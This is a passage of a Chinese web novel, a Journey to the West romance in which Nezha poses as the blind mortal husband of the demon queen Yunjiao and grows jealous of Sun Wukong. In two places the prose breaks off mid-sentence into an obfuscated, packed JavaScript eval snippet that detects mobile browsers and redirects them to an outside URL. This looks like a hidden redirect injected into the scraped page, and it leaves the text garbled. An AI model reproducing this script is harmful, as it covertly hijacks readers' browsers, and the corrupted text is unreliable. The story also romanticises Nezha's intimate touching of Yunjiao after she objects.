红孩儿为讨好云皎费尽心思,精心装扮,也不过品味泛泛。若他不“盲”,当能选出更好的。 哪吒不想再“目不视物”,但需要一个契机。 “今日出行,夫人劳心费力,件件问我色泽,若我不盲……”他低叹,“我这双眼是流亡途中被人投毒致盲,从前听闻修仙入境,身体残缺尽可痊愈…或许我也能‘重见光明’。” 云皎一听,也是,点头道:“先前误雪治不好你,我也觉遗憾,若修仙能好,自是幸事。” 是了,正因精通杏林之术的误雪当初并未“治”好他,哪吒只能寻此法。 当然也有其余好处:无论她怀疑他是哪吒,还是旁的神仙——本是仙,又怎会修仙? 所以他只是凡人。 云皎又笑意盈盈,极自然道:“待你好了,就能看见我,你还不知道我多漂亮呢!” “娘子当心。”成衣店人满为患,恰逢路人经过,误雪提醒。 云皎已自觉钻进哪吒怀中,腾出空间让给路人。 温香软玉撞满怀,这回哪吒有些愕然,垂眸正巧能“看”见她巧笑倩兮的模样,那双桃花眼总似含情,瞳色略淡,浸着澄澈露水般。 还有她柔润的唇,比她肌肤还要软上几分的唇瓣。 他喉结微滚,错开视线。 “好啦,今日逛得差不多,夫君也不气了吧?”云皎认为他看不见,反倒一个劲盯着他瞧。 忽地,她像是发现了什么新奇事物,目光凝在他脸上—— 不知是旁侧朱锦衣料的光泽映衬,还是店门外流泻的晚霞作祟……她夫君白皙柔嫩的脸颊,好像…红了? 哪吒轻道:“嗯。” 她自是姝色无双,极好看的。 17.喜爱之物 夜里云轻月皎,某人却未如约践行诺言,哪吒也只字未提。 云皎对鹰愁涧突现大神一事仍存疑虑,便独自前往查探。 哪吒则在寝殿休憩。 说是休憩,但这具凡躯本是空壳,不过静坐。 不多时,铜镜前生出一道裂缝——那是他设立的通行结界。一道孩童身影从中跃出,复又变大成他的模样,最终灵力收敛,成了僵硬的藕人。 哪吒吸纳其上灵气,因此也获取了藕人的记忆,半晌,语气渐冷:“孙悟空……” 孙悟空与云皎师出同门,又具火眼金睛,他便遣藕人去了五行山一趟。 与孙悟空能说却不多,藕人携莲花香粉,直问: “五行山向西三百里,有山名‘大王山’,山大王身份诡秘,真身未明,我观此处亦也有其气息,你可知她究竟是何化身?” 孙悟空被压在山下,无处可躲香粉侵袭,却还挣扎,瞠目怒道:“几百年了仍不敢真面目视人,你个破莲花藕人!连自己是谁都未看清,还探旁人真身,待俺老孙出去,非把你打的满地找牙不可!” “你尽管来。” “你若敢动云皎试试!” “……” 花果山一战,哪吒对孙悟空生出一分欣赏,石猴的心尚且纯净,不被世俗所染,之后他有意放水,大闹天宫时也未尽全力。 但此刻,欣赏变了味。 左看右看也不过一只天生懵懂蛮力的猴,云皎为何欣赏他? 另一面,也不知为何孙悟空对他印象极差。提防心让桀骜的猴王被香熏红了眼,仍不肯言语。 鬼使神差地,藕人问:“你对我有何不满?” “花果山大战,你杀了俺老孙多少猴子猴孙,这笔账,俺老孙一一记在心里。” 藕人动了动唇:“我没杀。” 孙悟空不信,意识却已因脱口而出的真心话开始融散,他再开口,道出几句另外的实情。 “云皎额角有陈年旧伤,真身残缺。” 与哪吒所探几乎对应。 “但绝不是龙。”孙悟空知晓哪吒与龙族的过节,“俺老孙也见过龙,非是她那般,她亦不知自己真身,不必找她的事。” 哪吒也知晓,孙悟空乃天生石猴之身,不比血肉之躯的云皎,能制住对方片刻已属不易,本就不指望其透露更多,只是,原来云皎自己也不知。 他意不在此。 更在意的是,孙悟空果真很维护云皎。 可他只是猴子而已,凭何与云皎关系那般好,还让云皎把画挂在床头。 * 另一边,云皎也从鹰愁涧探查回来,思索着所获情报。 她潜入深潭,那小白龙却缩在水中洞穴深处,始终不肯露面。 云皎无意强逼,之后西行取经还要和他做朋友的,便问驻守小妖,得知哪吒并未现身,但那混天绫十分好认,才向她禀报。 几番确认细节,云皎得出结论:这哪吒怎么像是路见不平来了? 附近山脉本有司雨之神,小白龙下的雨未经批准,挨批评也不委屈。 正欲折返,忽听潭中声音传来:“你是水族,为何身上尽是莲花香?” 龙活了! “我夫君颇爱莲。”云皎想了想,接话道。 敖烈沉默少顷,“哪吒三太子也颇爱莲。” 云皎笑笑:“只准哪吒喜欢,不准世人喜欢?” 敖烈便丢下一句“你好自为之”,又潜水了。 云皎转动手中金戒,亦不再多言。 回去大王山,她先去宝库取了根仙木,才掏出“玉牌手机”犹自捣鼓。 寝殿无声,夫君又被遗忘在隔壁。 好不容易将“手机”调成纯静音,忽而,来电话了。 云皎一拂玉牌,这回,必须是认主的灵力输入,方能接通传音。 “小云吞!” 这是她小名,来电话的是猴哥,上回她将此物交予了他。 “猴哥,何事?” “哪吒来了五行山,一来便探问你真身,你见过他?”孙悟空不记得香粉一事,那物惑人于无形,却还有些零碎的记忆。 什么?云皎一惊,她也惹到哪吒了?根本不认识啊,而且她又没做坏事! “我没有。”她答。 猴哥便说对方是一贯的杀气甚重,定然没憋好事。凡间的妖山,但凡声势大些,便要被天庭盯上,哪吒或也因此而来。 这是猴哥的经验之谈。 “何时,是个什么模样?”云皎低低问道。 孙悟空答:“未时,这次倒是化得人模人样,是个乖乖孩童。” 她方才探问麦旋风,得知昨日莲之被误雪送回来,就一刻未停赶去了前山。 而今日未时,莲之正与自己在长安。 孙悟空又细想了会儿,宽慰她道:“那哪吒原先受了重伤,今次也只派了个藕人来见,想必旧伤未愈。你莫怕,只要他不领天兵天将围山,尚有转圜余地,你可是俺老孙的师妹,待俺老孙出山,这更不是事儿!” 就说这可恶的西行取经,开始了半天也没真开始! “是,猴哥莫担心,顾好自己便是。”云皎应好,心中思忖着:也没和哪吒打过,不知对方深浅,但有一点毋庸置疑——他是她在这个世界多方打听下来,综合评定的头号排雷人物。 那只杀不渡的名号太响,听上去就不太能讲道理的样子。 但无妨,打不过就跑呗。 她又问:“哪吒重伤,猴哥可知是受了什么伤?” 此事她起初去五行山便知,只是心觉与己无关未曾细究。猴哥既与对方打了照面,或许知情。 孙悟空还真知道些,“浑身伤痕,条条错错,想来是又与李靖打起来了。” “嗯?” 孙悟空说,传说中哪吒削肉剔骨还于父母,太乙真人与佛祖合力以莲花重塑其身,认塔为父,从此皈依天庭。 但这只是传说。 事实上,哪吒似乎生来就不知“顺从”二字怎写。天性如此,能决绝抛却肉身,忍过彻骨之痛的人,又怎会因重活一次就安分下来。 他受塔压制,依旧我行我素,看李靖不爽照揍无误。哪怕满身伤痕也无所谓,毕竟莲躯不死不灭,休养一阵便好。 这是天庭的日常,又像秘辛,众仙讳莫如深,唯恐风声流入凡界再起效仿。 “勇士啊……”云皎听完,也道。 人们总说,经历了一场大事,再倔的人也会长大,明白要于天地间立命,从不是负隅顽抗。 可哪吒自刎之决然,早已超脱人的范畴。 虽说自己是猴哥推,可哪吒也是神话故事里赫赫有名的人物,重听这般秘闻,云皎到底有几分感慨,但不代表对方盯上大王山就不棘手了。 反而,听上去更危险。 她将玉牌在手中转了转,开始掐算,“说起来,我也听说了哪吒一桩事……” “噢?” 云皎将鹰愁涧之事道出,末了与孙悟空探讨:“猴哥,你说他下界盘旋于此,为何?” 孙悟空沉吟。 “哪吒虽在天庭任职,却是承佛祖再造之恩,天庭的调令他听,却未必从。”虽因花果山一事,孙悟空对哪吒心生芥蒂,但回想大闹天宫的往事,就事论事,看得出对方是有意“划水”的。 他时好时坏,阴晴不定,孙悟空欲探却被压在五行山下,一连耽搁了这么些年。 彼时,天兵天将数以万计,哪吒为统帅,一袭红衣银盔覆面,气度凛然,但打到最后却成了一团乱的局面……是因统帅半路跑了。可若非身在局中,实难看清虚实。 反正,玉帝老儿是肯定没看出来。 “但佛门之令,他无有不从。”孙悟空笃定道,彼时佛祖出面,哪吒又老神在在回来了。 “观音菩萨又叫俺老孙在此等候个取经人,拜他为师……” 云皎是掐了又算,最后搓搓手,与另一头的孙悟空异口同声道:“哪吒是被西方派下来的!” 可《西游记》原著中,哪吒出场寥寥,除了花果山一战,也就青牛精、牛魔王、金鼻白毛老鼠精三难中露过面。 难道他还被指派了其他事? 云皎望着快被自己掐红的手,总觉得有什么事情不一样了。但她有点茫然,若说他盯上大王山——这也掐不出凶啊。 怎么算都是吉。 看来哪吒似与她有关,其实无关?哈哈,杀不死她,只会让她更强大! “无论如何,还是小心。”孙悟空嘱咐。 云皎答:“我会我会,猴哥放心。” * 虽说尽是“吉”。 云皎还是表露出了几分忧虑,开始加强小妖们的操练。 大王山日常事宜也不少,之后一连许多日,云皎变得忙碌。 哪吒观之变化,如此之快,便能推断出:云皎与孙悟空互有通信,至于用的是什么也很好猜——玉牌。 她将那物给了孙悟空,而他没有。 他心中生出淡淡烦郁,试探的结果不如意,索性犹在山中探查。一座绵延山脉宛若一座城,颇具自成一派的人土风情,不少地方还能看出云皎的个人风格。 偶尔他会撞见她,对方却疾步匆匆,顷刻没了人影。 她始终未主动来找他,期间却抽空又去了趟五行山。 某日清早,他在“麦旋风”的陪同下,亦被一处看守的小妖拦住:“站住!你是何人?此处可是大王的藏宝阁,闲杂人等不得入内!” “麦旋风”道:“你们几个不长眼的,此乃大王夫婿。” 小妖哦了声,纷纷好奇打量,旋即又冷脸对着“麦旋风”道:“那也不行,旋风将军,您不知此处除了大王谁也不能进吗?” 它们有所狐疑,便想试探:“真是大王夫婿?我且问你,你可知我们这山名什么?” “麦旋风”答:“大王山啊。” “错了!” “……?” “大王山只是简称,全称叫‘大王叫我来巡山’!” 小妖七嘴八舌,“你们假冒的吧?这么简单的问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16260713|180710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题都答不上,大王能不和自己夫君说这个吗?我们要去报告大王!” 哪吒:…… 忍无可忍,他用迷香将它们都迷晕过去。 与此同时,更忍受不了的是云皎对他如此冷待,细想下来,她确是连此等小事亦不曾告知。 哪吒往云皎寝殿而去,打算静待她归来。 这日,忙得晕头转向的云皎,也难得有了小憩的机会,正在殿内更衣。 忽而门“吱呀”一声被推开,如今她已不会过于警惕…… 因为,能未经通报入内的——唯有她的夫君“莲之”。 这是她给他的特权,却说不上来为何这么做,云皎心想,大抵因他是个凡人,金拱门洞里妖太多,她未留凡人做工,如今只有他孤身一人在此。 怕他惊慌,怕他柔弱,怕他被吓死了。 “夫君。”屏风后,云皎懒懒唤他。 哪吒步履微顿,旋即却更利落往前而去,触及屏风,也只随手靠住,便转至她眼前。 这倒叫云皎有了丝惊愕。 “继续往前走。” 她以为他走得慢,未料他早已熟稔她殿内布局,反倒打得她措手不及,只得赧然指引。 灯下,美人乌发微湿,如云铺散。衣衫尽褪,一身肌肤似玉雪凝脂。 明明她就在近在咫尺,连发上馨香都隐隐萦绕鼻尖。 哪吒嗯了声,仍依她言。 直至他走至暖榻边,仍倚在屏风旁的云皎才细声道:“好了,随意寻处坐吧。” 他便坐在床榻上。 这张床,唯有新婚夜时有除她以外的人躺过。云皎视线在仙姿绰约的少年身上停留一瞬,凉风拂过裸.露肌肤的感觉太明显,她收了收神。 夫君又瞧不见,她有甚好慌的。 云皎手捻着巾帕,不再多心,背对他拭干最后一点湿润的发尾。 哪吒眼前未覆白纱,静静看她。 她方沐浴过,殿内水汽氤氲,莲香与雾气交织,似青涩的果香,又混了点熏烟,最终融成一股难以言喻的暖意。 少女侧着脖子,将发拢到身前,几缕乌发却仍贴在后颈,如蜿蜒的小花,沾着湿亮水迹。 雪背亦凝着细密水珠,沿着她精致的脊线徐徐滚落,一路滑过腰臀,连细直的腿上也溅着莹莹水光。 一切的婀娜,白得眩目,软得惊人,就这样毫不设防地向他袒.露。 “怎么突然来寻我了?”拭干发后,云皎拎起小衣,随口道。 肩也因此耸起,流畅的曲线,哪里都漂亮的恰到好处。 哪吒眸色微暗:“因为,夫人未寻我。” 云皎抬起的臂膀一僵,语气很轻,“我忙……” “可先前我与夫人说过,勿要将为夫弃之。” “我哪有——”她下意识转身反驳,目光与他澄净的凤眸对上,又偏转回去。 后山浴池里,他好像是说过类似的话。 “大王山很大,你随麦旋风多走动,他对山路熟,不会带你走丢。”云皎另取亵衣,低头系带,“后山我已着人栽了莲,虽还未开花,但那处风景不错…也有不少小幼兽住那儿,你可以找它们玩。” 她微着曲身,纤腰上那根细得不堪一扯的衣带也随之晃动,漾出几分靡艳。 絮絮轻语,传不进他耳中。 唯有光景旖.旎,方才那片雪色轻晃,锁骨盈盈,仍似拢在他眼前。 哪吒本以为,汤池所见已足够分明,水下她的身躯紧贴于他,肌肤相亲、呼吸交错。可真当这具身体清晰展露眼前,那股燥郁再次席卷,腰.腹更是犹如火滚岩浆般的热。 这样的感受,不止是一次,在汤池,甚至在更早就有苗头。 有些事,早已发生了微妙变化。 火星一旦在心中燃起,哪吒没将其掐灭,反朝云皎迈步走去。 云皎正披上外衫,于镜中瞥见他逼近的身影,蓦地一僵。 清眸愕然睁大,直至他伸手揽来,她才慌乱侧身:“你做什么!” 动作太急,外衫倏然滑落,里衣也因这番摩擦变得凌乱,露出半边细腻的肩。 哪吒顺势搂住她柔软的腰,掌心贴紧,温度灼人,怀中人却仍然挣动。 “云皎……” “你碰到我——”他力气竟很大,指尖陷进她腰窝,云皎一口气险些没喘上来,“碰到我东西了。” 言罢,趁他怔神,云皎挣脱怀抱,连法术都忘了用,手忙脚乱扶住桌边险些翻倒的琉璃柜。 旋即她痛心道:“莲之,你小心点,别弄倒了我的痛柜!” 哪吒:“……什么柜?” 其实成婚当日他便发现了这个放满摆件的柜子,但因其中物什毫无灵力,且模样丑陋,他未多加关注。 云皎挠头解释:“嗯……就是装满我喜爱之物的柜子。” 少年的目光陡然锐利,扫视而去,发觉其中有绘画、木雕、三彩瓷……从极度丑陋到较为丑陋,最后一样,隐约能辨出轮廓—— 是一只猴子。 孙悟空。 18.宠幸夫君 哪吒花了十二分心力,勉强止住自己将其全部丢出去的念头。 如此丑的东西,显然是她手作,她一笔一划、一刀一刻、一捏一塑……全是孙悟空,尽视若珍宝。 呵。 云皎已将衣服穿好,瞥了眼夫君,发觉他脸色不对。 “怎么了?”她嘘寒问暖,“夫君不会病了吧?” 虽说快至炎夏,一场暴雨却让天色凉了几分,难免叫人忧心娇滴滴的凡人夫君。 哪吒:“无碍。” “那便好。”云皎复又笑嘻嘻,伸手去挽他手臂,“恰好今日有出戏想让你看看,可不能病了。” 贴近的温软躯体让他有一瞬僵硬,但听她所言,哪吒眉梢微动,“戏?” 他以为她要上演什么“好戏”,与上次一般训诫小妖,或是出山撕斗,这些于他而言,都勉强能称为好戏。 ——怎知云皎是真耿直地排了出戏。 前山,有一处特开辟的空地作为戏场,长椅由低至高密密排开。 小妖们分列站好,着各色怪诞的服饰,伫立在戏台前,齐声喊着“大王好”。 云皎挥挥手,拉着哪吒在最佳位置落座,“今日尚是彩排,带你来看个热闹。” “你放心,便是听声也能听懂的。”她又看了看他眼睛。 哪吒仍不解其意。 但随着戏台一声高亢的唱词“身负一千七百杀戒,三年零六月而降生”,他便瞬间明了这出戏唱的是谁。 云皎并未落座他身侧,而是站在他身后,将一双细腕搭在他肩,似想整个人环住他。误雪白菰并立在不远处。 她手下的小妖都随她,很有创造性,表演狂放恣意,毫无忌惮。 传说里的故事在哪吒本人面前一幕幕铺开,他看见为首的小妖一袭红衣,表情凶恶,杀意凛然,周身也被妖术幻化的血色浸染。 “主角是‘麦满分’扮演的,你还没怎么与他接触吧?他是只豹子精,多边形战士,什么都做得好,所以叫‘满分’……”云皎不阐述戏文,反同他闲话。 她侧身,唇几乎贴在他脸庞上,呼气如兰,是湿热的,细细拂过他的耳廓与颈侧。 絮絮不知所言,唯有香风轻拂。 “这两日轮到‘麦旋风’休息,你身边可会缺人?”她又道,“用不用‘麦满分’顶替两天。” 哪吒沉默。 此处“朝九晚五,周末双休”的规矩,他来前便有所听闻,本不算意会,身在其中才真切明白。 莫说“麦旋风”,连她自己的副手误雪白菰二人都时有休沐,酬劳丰厚。 并非外界便尽是剥削,可提出如此新奇制度、且愿意切实践行的,如今世间,只有她。 云皎还能将诸事打理得井井有条,房中挂着的日历,密密麻麻规划着日程。大王山内人妖平等,互通有无,人授妖以耕织之法,妖还人以法术之能,彼此共生壮大。 他想,他明白了为何仅五十年,大王山便能在凡界名声鹤立。 但他垂眸,从她关切的话语里,敏锐地分辨出那关切不止是对他,也对她手下的小妖。 “不必,我身边人足够。”他拒绝。 送至他身边便会死去,而云皎也会难受。得出这个结论的瞬间,哪吒心底掠过一丝陌生的迷惘,却分不清是因她会难受而迷茫,还是错杀小妖,令他迷茫。 可从前,做了便是做了,他从不想是否做错。 云皎却又贴他耳边,娇蛮道:“你是不是忘带什么东西了?” 哪吒:“…什么?” “你的笑容呢!” 她在他身后站了好半晌,却感觉夫君肩背宽阔,两人体型有不小差距,让她靠着怎么搂都不舒适。 索性扭身转到他面前,才发觉他始终绷着脸,一时心生不满。 不是觉得他不爱看戏而不满,而是他神色敷衍,冷冰冰一张脸,瞧着都不够讨喜了。 心念一动,她伸出手指戳弄他的唇,指腹抵在他唇角拉扯,因动作专注,两人一下凑得极近,彼此的发交缠。 哪吒眸中愕然一闪而过,唇线反而抿得更紧,显出几分冷硬弧度。 他并非真事事顺从,见她近在咫尺、且得寸进尺,干脆将其揽入怀中,扼住她动作。 “夫人。”他声线依旧平稳,只透出一丝几不可察的暗暗警告,“你若再絮叨,我便听不清戏文了。” 这下,云皎猝不及防跨坐在他身前,鼻尖擦过他微敞的领口,触及一片滑腻温热的肌肤,清冽的莲香顷刻席卷而来。 她忽觉耳热,却不会服软,哪有他教训她的份?便开口:“可你不喜欢这出戏。” 哪吒神色不明,扣住她腰肢的手紧了紧。 “不喜欢便罢了。”云皎说着,顺势要抬起身子。 他却掰开她腿,托着她臀将她略略抬起,转了半圈,让她背脊贴着自己胸膛,“夫人这样坐便好。” 她的身躯便几乎完全嵌在哪吒怀里。 可分明是自己先起了将他当抱枕的心,这下却反被他牢牢掌控,成了他抱着她,如此姿态,如任他拿捏的人偶,整个身躯都被他拢入阴影中,带来一种无处可逃的桎梏感。 云皎本能抗拒这种感受,对方却已懂如何抚平她的心,“如此,夫人将我当做靠垫,也能舒适些。” 他气息拂过她的耳廓,另一只手已熟稔地覆上她的肩颈,“再容为夫替夫人揉揉筋骨,松乏松乏。” 一旁的误雪与白菰交换了眼色,看着小夫妻几乎融为一体、耳鬓厮磨的模样,再听哪吒温言软语,这次都觉得颇为欣慰。 云皎虽一时未想透他为何突然热衷起按摩,但感觉他很有为夫者的觉悟,挑眉眯眼,也满意点头。 他掌心的温度透过薄薄衣料熨帖着她的肌肤,力道恰到好处,是挺舒服。 她很快放松下来,身躯全然倚在他怀里。 复又兴致勃勃提议:“不喜这个,我还有压箱底精选版,想不想看?” 哪吒的确不喜欢这出戏。 这是云皎特意排给大王山众妖看的,戏中仙凶神恶煞,暴戾无边,虽说是他一贯行事,但被赤裸裸地演出来,总有几分莫名的刺眼。 前两日才叫她听到一点哪吒的风声,便排这样的戏。 就这般不喜哪吒? ——但这真是他错怪云皎了,仙妖对立,于云皎而言这本是一部教育片,教育小妖:天上的杀神不好惹,遇见了抓紧跑。 “什么?”哪吒料定另一出也不会好。 云皎神秘一笑,也不说话,只一挥手让小妖换戏码。 这次演的是她的童年戏码《哪吒传奇》。 哪吒只看了一会儿,这次是麦乐鸡为主演。小孩童般的身形上场,咋呼荒唐,惹人发笑。 云皎倚在他怀里,偏沾沾自喜问他:“怎么样?” 哪吒扯动唇角:“……小猪熊是什么?” “哪吒的好朋友。”她答的理所当然。 哪吒摩挲她腰侧,指缝陷在温软皮肉中,云皎被弄起酥麻痒意,只觉他没尽心服侍,低声斥了句:“位置…错了。” “夫人耐心些,我既看不见,自要摸索着来。”他淡淡回应,“还是说,夫人嫌弃莲之?” “……” 有一瞬,云皎察觉不对。 夫君起初冷淡到目下无尘,得知他本是贵族,云皎便觉这种矜贵已刻入他骨子里,很难改掉。即便他会因她是妖王而示弱几句,却浮于表面。 云皎不介意这等事,甚至像逗弄一只冰雪可爱的小猫般,喜爱看他气闷。 但如今,他却将示弱做到得心应手,甚至,颇具反客为主的侵占性。 她张唇欲拒,少年的手已摸向后腰,替她揉按。这是真的舒服,云皎眯起眼,又被他捏软了身子。 “夫人,此刻说话的又是谁?”他还很懂如何转移她的注意。 云皎心思早不在戏上,闻言才觑了眼,软声道:“哦,那个是小龙女,也是哪吒的好朋友……” 他的声音早已沉下,只是她未发觉,“哪吒,竟有这么多好友?” 云皎甚至轻哼一声,太舒坦,是故态度敷衍。 “夫人很了解他。” ——如今看来,根本全无了解。 他没有朋友,更无可能与龙做朋友,可笑。 “天庭第一打手,我们做妖的,能不了解么?”他下手重了几分,云皎微微蹙眉,不满启唇。 哪吒静默一刻,手渐渐游移去她心口。 “我看夫人是不喜他,才编排这些。”他只轻捏一下,云皎顿时僵硬,如被触到了某根隐秘的弦,要直起身子又被他按住。 动作虽显出乖戾,他言语却还温驯:“抱歉,为夫又弄错了。” 她不了解哪吒?别说是西游版的,其余什么封神上美宝莲灯版的,那不都家喻户晓吗?换谁还能编出这么精彩的剧情! “难道你很了解他?”云皎反唇相讥,直至此刻,才察觉他身体异样紧绷。 倚着他,能清晰感受到下方贲张起伏的肌理线条,坚硬得像烙铁,让她不自觉想逃离这个怀抱。 “我听过的传说里,从没有这些。” “说明是你不了解他。”她倒打一耙,“我今日叫你来看,就是因你上回说只听过他一些零散传闻。” “……如此说来,夫人倒是对他格外关切?竟为他特意排一出戏。” 她莫名地瞥他一眼,不知他脑回路,以为他醋了。 男人嘛,吃点醋很正常,哄两句就行。 该怎么答,这个前世网上都有标准答案——“怎会?你多心了,我关切谁也不关切他!” 再说,前阵子她才被猴哥提醒呢!也不知哪吒此刻窜去哪儿了,也没个风声,虽然掐算出来都是“吉”,谁又知会不会生出变卦。 云皎解释这只是大王山例行团建,因为他提过“哪吒”,才给了她本月灵感。 哪吒眸色渐暗,见她神情坦荡,确实满不在乎,再忆起那两出荒诞戏码,只觉她自然是不喜哪吒的。 也是,哪吒是神仙。 而她是妖。 她是该不喜,也可任意编排,但唯一错处是—— 眼下,她的夫君是他,是哪吒。 这些日,少年并未真正因那些“牛”或“猴”动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16260714|180710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒,他清楚,能与她肌肤相亲、日夜相对的,只会是他。其余闲杂人等,自可清理,不值入眼。 可唯独她不喜哪吒,不行。 “这出戏你也不喜欢。”观他神态,云皎笃定道。 真是难伺候!到底是找个夫君伺候她,还是光伺候他了?讨厌的莲子。 云皎不再强求,转而道:“罢了,下次我们排齐天大圣的戏吧。” 齐天大圣,呵。 哪吒便是哪吒,孙悟空便是齐天大圣。 “我还有一物要赠予你。”云皎话锋一转。 言罢她掌心虚抬,一截由仙木精心打磨而成的手杖凭空浮现,仿佛看不见他沉郁的脸色,笑靥如花地将手杖递去他手中。 “你摸摸,虽说你走路也挺稳,但有此物傍身总归便利些,也不必时时摸索了。”她还道,“对了,你说想修仙,我已命人去为你寻觅良师。” 云皎这几日虽忙得脚不沾地,可细想下来,她竟真将这些琐事都安排得妥妥当当。 但哪吒眸光微闪,手还置在她腰腹上方,反问:“夫人不亲自教我?” 他再度轻捏,云皎面色终于沉下。 “莲之,够了。” 清醒时,她能容忍的边界,仅止于此。 远远不够。 哪吒敛去眼中思索,不再过分探入。 “我为一山大王,平日事忙,若教你,只怕有所疏忽。”她道,“况且我并不通凡人修行之法,还是另寻他人为好。” 云皎是个表面十足亲厚的妖王,哪吒观她月余,并不否认。 可除此外,她也不愚钝殷勤,不会事事亲力亲为,只施小恩,不言大惠,深谙若即若离的抽身之道。 是故,他称之为“表面”。 对待夫君亦如此,看似宠幸,实则只因他是“夫君”罢了。 他笑了笑,却没再追问。 * 今日还是大王山的发薪日,云皎才没到处乱窜,留在夫君身边。 一旁的误雪与她核对三十三妖洞呈报上来的薪资数目,账册叠在一旁,密密麻麻却井然有序。各处都已签字画押,只待她最终批阅准许。 单说金拱门洞中,领到薪俸的小妖就个个眉开眼笑,喜气几乎溢出来。 哪吒瞥了一眼身侧侍立的“麦旋风”,指节微动,施法令其嘴角上扬,挤出一个笑。但那笑容僵硬扭曲,令他感到刺目。 夜里大王山还设了宴,酒肉飘香,热闹非凡。 思及夫君只是凡人,云皎不打算带他闹到太晚,正想寻个理由劝他先回去歇息,自己留下尽兴——越夜越嗨,这本是属于妖精的狂欢夜! 恰在此时,误雪与白菰悄悄将她拉到一旁,倒正好顺了她的意,能把哪吒支开。 “何事?” 走去甚远,二人才停下。 云皎还以为是观音院的事有了进展,彼时她掐算的结果有些凶险。 怎知白菰一脸神秘,凑到她耳边轻声,问的是:“大王……您与郎君,还没圆房?” “……” 妖精,向来民风开放,直言不讳,从不会因谈论阴阳交合之事而羞赧。这本就是天地间最自然的事,一如风吹花落、雨润春泥。 不然早前云皎也不会说她们“看不起她”,觉得她是小孩子,不通人事。 但她沉默片刻未言,是因为…… 有点心虚。 云皎挠了挠头,声音越来越小:“啊,这个……我忘记了!” 可恶! 真忘了这回事。 白菰和误雪面面相觑,表情复杂得难以形容。 最后还是白菰“噗”地一声笑出来,摇头叹道:“就说大王是小孩子吧。” 宠幸夫君这种事也能忘记? 云皎自己也觉得糊涂,莲之竟也不提醒她!她杏眸一转,嘴硬找补:“我最近可忙了!此事哪有正事重要,不急……” 白菰:“怎么不急?您这位郎君是容色艳绝,惊为天人,可凡人寿数几何?再是面貌娇嫩,也经不住岁月磋磨。” 白菰不愧是当过人的白骨精,字字句句切中要害。 “大王若不抓紧,待过几年,他生了皱纹变得不美,或气力不济,那副好皮相、好身骨,不就白白浪费了?” 云皎一想,顿时警醒:是啊!这事非常紧迫,异常重要! 误雪见她终于露出开悟的神情,含笑递来一本崭新的《房中秘术》,细声叮嘱:“大王,这上头有我与白菰的批注,是孤本,您可要好好看。” “你们太贴心了!”云皎感动不已,接过书就要转身,“我这就回殿好生拜读!” “等、等等!”又被白菰一把拉回来,白菰恨铁不成钢:“大王回自己寝殿做什么?去郎君那儿啊,今晚沐浴更衣后便去,有惊喜等着您。” 什么?云皎最喜欢惊喜了。 她眼睛倏地亮起来,晶莹璀璨,“那你们等我好消息!我定会把夫君治得服服帖帖。” 白菰扶额叹气:“重点是他服侍您。” 云皎笑嘻嘻,连连点头,将书揣入怀中,“好,好,我全都记下了!绝不会忘!” 19.怪诞迷香 是夜,月明星疏,前厅的欢笑声逐渐听不见,后殿寂静无声。 云皎沐浴完,披着一身湿润的水汽,喜笑颜开,就着身寝裙便钻去隔壁殿室。 但甫一进入,却觉出几分异样。 殿内萦萦绕绕着一股奇异的香气,很是浓郁。 不似清雅的莲香,也不似她殿内误雪调配好的安神香,她对香不甚了解,闻来闻去只觉身体暖暖的,叫人血脉偾张,尸体闻见都能起来蹦一蹦的感觉。 虽不知是什么香,但暂时闻了不会死,妖还没那么脆弱,她遂不管,拢着衣裙往里走去。 绕开屏风,唯见软榻上高挂的妃色帷幔逶迤而下,将整张床完全罩住,隐约可见其中侧卧着一道修长身影,一截雪白衣角自幔隙露出,无声诱人窥探。 光下香雾缭绕,还带着一丝潮热湿气。 夫君也沐浴过了。 “夫君?” 云皎低唤,对方却不应。 直至她一连唤了好几声,幔内才传来回答:“……夫人,躺过来。” 是莲之没错,就是音色透着难言的哑,似压抑着什么。 云皎感到纳闷,又探探脖子环顾四周,这也没瞧见什么惊喜啊。误雪和白菰没交代他,今晚她要来宠幸他? 不过烛火盈盈,将缸中莲的影子映在墙上,影影绰绰,还挺好看。 她迟迟未动,哪吒便又开口:“夫人,你不愿与我同榻?” 这次他的语气微有不虞,却因喑哑,显出几分勾人的引诱。 云皎一听,这下就算脑子再慢半拍,也能听出其下意味——他在邀请。 她发誓她绝对没有不愿意,怎么误雪白菰看不见她的勇武,夫君也看不见!她轻哼一声:“激将法?少瞧不起我。” 新婚那夜,初觉少年惊艳,脑子昏沉,也不是没与他同床共枕过。 而且,只是有个人躺在她身边而已,这算什么? 云皎早年求仙寻道,那一路很艰难,枯草果腹,雨水解渴,天寒地冻时与流民挤作一团取暖都是常事,她会倒头就躺,哪管身旁是男是女。 她还记得最难的时候,她被一群不知从何处来的妖几乎弄死。 它们生生刮去她身上的鳞片,还将她的钱财洗劫一空,摆明了一点活路不给她留,她重伤垂危,连人形都快稳不住,在流民堆里都能把人吓到的程度。 她也不管,睡不舒服还要霸道地蜷在他人身上,汲取最后一丝能感受到的暖意。 因为,她想活,她要活。 现在只是躺在自己又香又帅的夫君身边而已,她说完就疾步往床榻走,一把掀开帷幕,挤进被褥里。 “你……” 但是下一刻,云皎却猛地弹起身,手里还攥着被角,满脸震惊地望向他:“你、你怎么把武器藏身上?!” 她面上惊疑不定,不知一个凡人怎么如此大胆,又自不量力。 